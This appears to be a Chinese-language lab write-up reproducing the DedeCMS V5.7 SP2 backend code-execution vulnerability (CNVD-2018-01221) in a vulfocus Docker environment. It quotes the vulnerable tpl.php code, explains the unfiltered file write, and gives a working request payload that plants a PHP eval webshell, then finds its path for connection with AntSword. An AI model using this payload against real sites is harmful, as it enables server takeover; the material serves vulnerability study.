dedecms 命令执行【CNVD-2018-01221】
dedecms 命令执行【CNVD-2018-01221】
织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。Dedecms V5.7 SP2版本中的tpl.php中存在代码执行漏洞,可以通过该漏洞在增加新标签中上传木马,获取webshell。该漏洞利用需要登录后台,并且后台的账户权限是管理员权限。
影响版本:DedeCMS v5.7 SP2

环境搭建
docker pull vulfocus/dedecms-cnvd_2018_01221
docker run -d -p 80:80 -p 3306:3306 vulfocus/dedecms-cnvd_2018_01221


根据已经公开的漏洞详情,我们知道tpl.php里面有代码执行漏洞,下面我们来找到tpl.php中存在漏洞的地方
参考:dedeCMS后台代码执行漏洞-CNVD-2018-01221
/*---------------------------
function savetagfile() { }
保存标签碎片修改
--------------------------*/
else if($action=='savetagfile')
{
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
...
}
- 首先判断动作是不是action=='savetagfile'
- [a-z0-9_-]{1,}的意思是,匹配所有包含一个以上的字母数字下划线和横杠,后面的.意思是匹配小数点
- 通过例子来分析一下,发现得到的$tagname的值为moonsec
- stripslashes()清除反斜杠
- 最后是把$content里的内容写入到相对用的路径里,问题就出在了这里,这一部分代码除了对写入的文件名字做了简单的过滤之外,其他并没有什么安全措施,导致我们可以任意写入代码,如果我们直接写入一句话木马,那么就可以直接连上去拿webshell了
payload:
http://192.168.2.104/dede/tpl.php?action=savetagfile&token=&filename=abc.lib.php&content=<?php @eval($_POST['x'])?>

接下来需要找到文件的路径。根据tpl.php的代码,文件位于DEDEINC.'/taglib/'.$filename,在文件中搜索 DEDEINC 没有发现定义,顺着包含文件找到/var/www/html/include/common.inc.php,在common.inc.php中发现定义
define('DEDEINC', str_replace("\\", '/', dirname(__FILE__) ) );
由此得出文件路径为/var/www/html/include/taglib/。


使用蚁剑连接


浙公网安备 33010602011771号